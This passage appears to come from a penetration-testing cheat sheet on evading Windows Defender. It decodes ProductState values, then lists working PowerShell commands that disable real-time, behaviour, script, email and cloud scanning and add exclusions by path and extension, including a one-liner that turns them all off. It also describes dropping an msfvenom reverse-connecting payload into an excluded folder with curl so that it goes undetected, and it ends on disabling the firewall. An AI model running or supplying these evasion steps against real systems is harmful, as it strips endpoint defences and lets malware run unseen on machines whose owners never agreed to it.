Decoding the value of ProductState to hex can help identify which Antivirus is enabled
'0x{0:x}' -f <ProductState>
'0x{0:x}' -f 393472
From the values below anything that has a 10 starting from the fourth numerical position indicates On and anything else indicates Off. As below we can see BitDefender is enabled and Windows Defender is disabled.
Turning off features
Note: Disabling UAC is advisable before attempting to turn features off. In testing some changes prompted for user confirmation before allowing change.
Note: If Tamper protection is enabled you will not be able to turn off Defender by CMD or PowerShell. You can however, still create an exclusion.
# Disables realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
# Disables scanning for downloaded files or attachments
Set-MpPreference -DisableIOAVProtection $true
# Disable behaviour monitoring
Set-MPPreference -DisableBehaviourMonitoring $true
# Make exclusion for a certain folder
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
# Disables cloud detection
Set-MPPreference -DisableBlockAtFirstSeen $true
# Disables scanning of .pst and other email formats
Set-MPPreference -DisableEmailScanning $true
# Disables script scanning during malware scans
Set-MPPReference -DisableScriptScanning $true
# Exclude files by extension
Set-MpPreference -ExclusionExtension "ps1"
# Turn off everything and set exclusion to "C:\Windows\Temp"
Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIOAVProtection $true;Set-MPPreference -DisableBehaviorMonitoring $true;Set-MPPreference -DisableBlockAtFirstSeen $true;Set-MPPreference -DisableEmailScanning $true;Set-MPPReference -DisableScriptScanning $true;Set-MpPreference -DisableIOAVProtection $true;Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Bypassing with Path Exclusions
With reference to above we see its possible to use PowerShell to exclude Windows Defender from taking action on certain paths, using path exclusions.
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Running curl on a msfvenom payload where the output folder is outside of the defined exclusion path:
Running the same command again however, this time specifying the excluded path from Defender C:\temp we see Defender has not picked up the malware.
Over on the attackers machine we see the msfvenom payload has connected back. Under normal circumstances AV will have no issues discovering this msfvenom payload.
Firewall
Disable all Firewall profiles (Requires Admin privileges).
